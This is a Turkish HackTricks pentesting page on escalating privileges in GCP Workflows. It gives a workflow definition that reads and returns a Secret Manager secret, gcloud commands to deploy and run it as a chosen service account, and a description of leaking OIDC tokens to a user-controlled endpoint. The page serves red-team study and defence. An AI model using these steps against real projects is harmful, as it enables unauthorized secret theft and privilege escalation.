GCP - Workflows Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Workflows

Temel Bilgiler:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Bildigim kadarıyla, bir Workflow'a bağlı SA'nın kimlik bilgilerini içeren metadata uç noktasına erişim ile bir shell almak mümkün değil. Ancak, Workflow içinde gerçekleştirilmesi gereken eylemleri ekleyerek SA'nın izinlerini kötüye kullanmak mümkündür.

Bağlayıcıların belgelerini bulmak mümkündür. Örneğin, bu Secretmanager bağlayıcısının sayfası'dır. Yan menüde birkaç diğer bağlayıcıyı bulmak mümkündür.

Ve burada bir sırrı yazdıran bir bağlayıcının örneğini bulabilirsiniz:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

CLI'dan güncelleme:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Eğer ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist gibi bir hata alırsanız, sadece bir dakika bekleyin ve tekrar deneyin.

Web erişiminiz yoksa, bir Workflow'un tetiklenmesini ve yürütülmesini görmek mümkündür:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Önceki yürütmelerin çıktısını kontrol ederek hassas bilgileri arayabilirsiniz.

İzin verilmediği için PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... gibi bir hata alsanız bile, iş akışı oluşturulmuştur.

OIDC token'ı sızdırma (ve OAuth?)

belgelere göre OAuth veya OIDC token'ı ile HTTP isteği gönderecek iş akışı adımlarını kullanmak mümkündür. Ancak, Cloud Scheduler durumunda olduğu gibi, Oauth token ile HTTP isteği .googleapis.com ana bilgisayarına yapılmalıdır.

Bu nedenle, kullanıcı tarafından kontrol edilen bir HTTP uç noktasını belirterek OIDC token'ını sızdırmak mümkündür, ancak OAuth token'ını sızdırmak için bu koruma için bir geçişe ihtiyacınız olacaktır. Ancak, OAuth token ile ya bağlantılar ya da HTTP istekleri kullanarak SA adına eylemler gerçekleştirmek için herhangi bir GCP API'si ile iletişim kurmaya devam edebilirsiniz.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Bu izin ile workflows.workflows.create yerine, zaten mevcut bir iş akışını güncellemek ve aynı saldırıları gerçekleştirmek mümkündür.

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated